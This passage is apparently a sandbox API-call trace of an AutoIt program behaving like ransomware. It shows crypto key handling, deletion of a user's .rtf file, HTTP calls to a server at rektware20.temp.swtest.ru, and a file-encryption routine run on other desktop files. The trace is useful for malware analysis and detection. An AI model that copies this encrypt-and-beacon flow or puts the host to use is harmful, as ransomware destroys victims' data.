lpMsg=0x130e9dc) returned 0 [0079.973] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0079.973] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.974] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.975] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.975] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.975] WriteFile (in: hFile=0x3d8, lpBuffer=0x17e0b20*, nNumberOfBytesToWrite=0x7140, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17e0b20*, lpNumberOfBytesWritten=0x130f01c*=0x7140, lpOverlapped=0x0) returned 1 [0079.976] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.976] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.976] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0079.976] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0079.976] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0079.976] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0079.976] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0079.976] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0079.977] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621030, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0079.977] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0079.977] CryptDestroyKey (hKey=0x164c630) returned 1 [0079.977] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0079.977] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0079.977] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0079.977] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0079.977] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0079.977] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0079.977] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0079.977] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0079.977] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0079.977] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0079.977] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0079.978] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0079.978] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0079.978] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0079.978] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.978] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0079.978] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0079.978] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0079.978] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0079.978] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0079.978] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0079.978] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0079.978] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0079.978] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0079.978] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0079.978] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0079.978] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0079.978] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0079.978] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0079.978] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0079.978] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164e290, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0079.979] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0079.979] CryptReleaseContext (hProv=0x1631bb0, dwFlags=0x0) returned 1 [0079.979] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0079.979] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0079.979] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0079.979] FreeLibrary (hLibModule=0x74c60000) returned 1 [0079.979] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0079.979] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0079.979] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.979] CloseHandle (hObject=0x3c8) returned 1 [0079.979] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.979] CloseHandle (hObject=0x3d8) returned 1 [0079.982] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.982] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0079.987] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\mznN_f1BJ6oMU Uf2u6z.rtf", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\mznN_f1BJ6oMU Uf2u6z.rtf", lpFilePart=0x0) returned 0x3b [0079.987] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\mznN_f1BJ6oMU Uf2u6z.rtf" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\dxz6\\mznn_f1bj6omu uf2u6z.rtf")) returned 0x20 [0079.987] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\mznN_f1BJ6oMU Uf2u6z.rtf", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c4f0 [0079.987] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\mznN_f1BJ6oMU Uf2u6z.rtf" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\dxz6\\mznn_f1bj6omu uf2u6z.rtf")) returned 1 [0080.611] FindNextFileW (in: hFindFile=0x164c4f0, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0080.611] FindClose (in: hFindFile=0x164c4f0 | out: hFindFile=0x164c4f0) returned 1 [0080.642] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 1 [0080.642] TranslateMessage (lpMsg=0x130f3bc) returned 0 [0080.642] DispatchMessageW (lpMsg=0x130f3bc) returned 0x0 [0080.642] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130ea20) returned 1 [0080.645] KillTimer (hWnd=0x70084, uIDEvent=0x1) returned 1 [0080.645] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0080.646] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0080.646] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0080.646] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0080.646] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0080.646] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\qgtIGK8GAA0DQ7hCH.mp3", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d130 [0080.646] FindClose (in: hFindFile=0x164d130 | out: hFindFile=0x164d130) returned 1 [0080.646] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0080.646] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0080.646] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0080.646] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0080.646] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0080.647] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620dc0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620dc0, lpdwBufferLength=0x130ef8c) returned 1 [0080.647] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0080.647] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0080.647] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0080.647] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0080.647] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0080.647] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0080.647] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629290, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629290*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0080.648] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629180, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629180*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0080.648] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0080.648] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0080.648] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0080.648] CloseHandle (hObject=0x0) returned 0 [0080.648] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\qgtIGK8GAA0DQ7hCH.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0080.648] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\qgtIGK8GAA0DQ7hCH.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0080.648] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\qgtIGK8GAA0DQ7hCH.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0080.648] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\qgtIGK8GAA0DQ7hCH.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0080.648] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Desktop\\dXz6\\qgtIGK8GAA0DQ7hCH.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0080.648] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Desktop\\dXz6\\qgtIGK8GAA0DQ7hCH.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0080.648] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Desktop\\dXz6\\qgtIGK8GAA0DQ7hCH.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0080.648] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Desktop\\dXz6\\qgtIGK8GAA0DQ7hCH.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0080.648] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Desktop\\dXz6\\qgtIGK8GAA0DQ7hCH.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0080.648] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Desktop\\dXz6\\qgtIGK8GAA0DQ7hCH.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0080.648] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Desktop\\dXz6\\qgtIGK8GAA0DQ7hCH.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0080.648] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Desktop\\dXz6\\qgtIGK8GAA0DQ7hCH.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0080.649] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Desktop\\dXz6\\qgtIGK8GAA0DQ7hCH.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0080.649] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Desktop\\dXz6\\qgtIGK8GAA0DQ7hCH.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0080.649] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Desktop\\dXz6\\qgtIGK8GAA0DQ7hCH.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0080.649] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Desktop\\dXz6\\qgtIGK8GAA0DQ7hCH.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0080.649] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Desktop\\dXz6\\qgtIGK8GAA0DQ7hCH.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0080.649] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Desktop\\dXz6\\qgtIGK8GAA0DQ7hCH.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0080.649] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Desktop\\dXz6\\qgtIGK8GAA0DQ7hCH.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0080.649] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Desktop\\dXz6\\qgtIGK8GAA0DQ7hCH.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0080.649] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Desktop\\dXz6\\qgtIGK8GAA0DQ7hCH.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0080.649] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Desktop\\dXz6\\qgtIGK8GAA0DQ7hCH.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0080.649] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Desktop\\dXz6\\qgtIGK8GAA0DQ7hCH.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0080.649] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="esktop\\dXz6\\qgtIGK8GAA0DQ7hCH.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0080.649] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sktop\\dXz6\\qgtIGK8GAA0DQ7hCH.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0080.649] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ktop\\dXz6\\qgtIGK8GAA0DQ7hCH.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0080.649] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="top\\dXz6\\qgtIGK8GAA0DQ7hCH.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0080.649] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="op\\dXz6\\qgtIGK8GAA0DQ7hCH.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0080.649] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="p\\dXz6\\qgtIGK8GAA0DQ7hCH.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0080.649] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\dXz6\\qgtIGK8GAA0DQ7hCH.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0080.649] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="dXz6\\qgtIGK8GAA0DQ7hCH.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0080.649] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Xz6\\qgtIGK8GAA0DQ7hCH.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0080.649] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="z6\\qgtIGK8GAA0DQ7hCH.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0080.649] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6\\qgtIGK8GAA0DQ7hCH.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0080.649] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\qgtIGK8GAA0DQ7hCH.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0080.649] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="qgtIGK8GAA0DQ7hCH.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0080.649] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="gtIGK8GAA0DQ7hCH.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0080.649] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="tIGK8GAA0DQ7hCH.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0080.649] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IGK8GAA0DQ7hCH.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0080.649] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GK8GAA0DQ7hCH.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0080.649] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="K8GAA0DQ7hCH.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0080.649] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="8GAA0DQ7hCH.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0080.649] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GAA0DQ7hCH.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0080.649] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="AA0DQ7hCH.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0080.649] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A0DQ7hCH.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0080.650] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="0DQ7hCH.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0080.650] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DQ7hCH.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0080.650] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Q7hCH.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0080.650] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="7hCH.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0080.650] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="hCH.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0080.650] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CH.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0080.650] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="H.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0080.650] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0080.650] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0080.650] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0080.650] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0080.650] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0080.650] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0080.650] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0080.650] InternetOpenW (lpszAgent="AutoIt", 